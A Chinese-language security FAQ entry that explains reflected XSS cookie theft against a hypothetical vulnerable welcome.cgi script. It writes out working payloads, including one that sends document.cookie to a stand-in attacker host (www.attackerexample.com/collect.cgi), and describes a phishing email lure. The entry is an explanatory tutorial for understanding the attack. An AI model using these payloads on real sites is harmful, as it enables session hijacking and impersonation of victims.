Q6:攻击者如何通过XSS攻击偷取cookie?
在此,仅做举例说明,帮助读者理解XSS攻击的思路。本文中的例子来自[1]。
首先,让我们假设:存在一个网站www.vulnerableexample.com。该网站上有一个脚本welcome.cgi,参数设定为name。此脚本会读取HTTP请求的部分,然后未做任何安全性验证,就将请求内容部分或全部回显到响应页面。
通常,如果用户端发送以下请求:
GET /welcome.cgi?name=Sammi HTTP/1.0
Host: www.vulnerableexample.com
|
服务器将会有如下响应:
<HTML>
<Title>Welcome!</Title>
Hi Sammi
<BR>Welcome!
...
</HTML>
|
弹出Alert窗口示例
上述机制将如何为攻击者所利用呢?我们先列举一个直观的方法。通常,攻击者会应用社会工程学(Social Engineering)设法诱骗受害者点击由攻击者精心构造的链接,如发送一封标题为“免费听林肯公园北京现场演唱会”的邮件J。
攻击者构造的恶意链接如下:
http://www.vulnerableexample.com/welcome.cgi?name=<script>alert(document.cookie)</script>
|
受害者一旦点击了恶意链接,会发送如下请求到www.vulnerableexample.site站点:
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host: www.vulnerableexample.com
...
|
站点将返回如下响应:
<HTML>
<Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script>
<BR>
Welcome!
...
</HTML>
|
因为服务器端返回的HTML页面包含一段JavaScript代码,受害者浏览器会解释执行。这段代码被执行后,将被允许访问浏览器中属于www.vulnerableexample.com站点的cookie。此时,用户侧浏览器上会弹出一个alert窗口。
网站收集cookie示例
真实的攻击步骤中,这些cookie会被发送给攻击者。攻击者为此会搭建一个网站(我们称为www.attackerexample.com),还会应用一个脚本负责接收盗取的cookie。攻击者会写一段恶意代码,用于实现访问攻击者站点、并能调用接收cookie的脚本。最终,攻击者可以从www.attackerexample.com站点获取到cookie。
构造的恶意链接如下:
http://www.vulnerableexample.com/welcome.cgi?name=<script>window.open(“http://
www.attackerexample.com /collect.cgi?cookie=”%2Bdocument.cookie)
</script>
|
服务器响应内容显示为:
<HTML>
<Title>Welcome!</Title>
Hi
<script>window.open(“http://www.attackerexample.com/collect.cgi?cookie=”+document.cookie)</script>
<BR>
Welcome!
...
</HTML>
|
浏览器会加载服务器端返回页面,执行内嵌的JavaScript,并发送一个请求到www.attackerexample.com站点上的collect.cgi脚本,浏览器中保存的www.vulnerableexample.com站点的cookie值也会一起发送过去。攻击者获取到客户在www.vulnerable.site站点的cookie,还可以假冒受害者。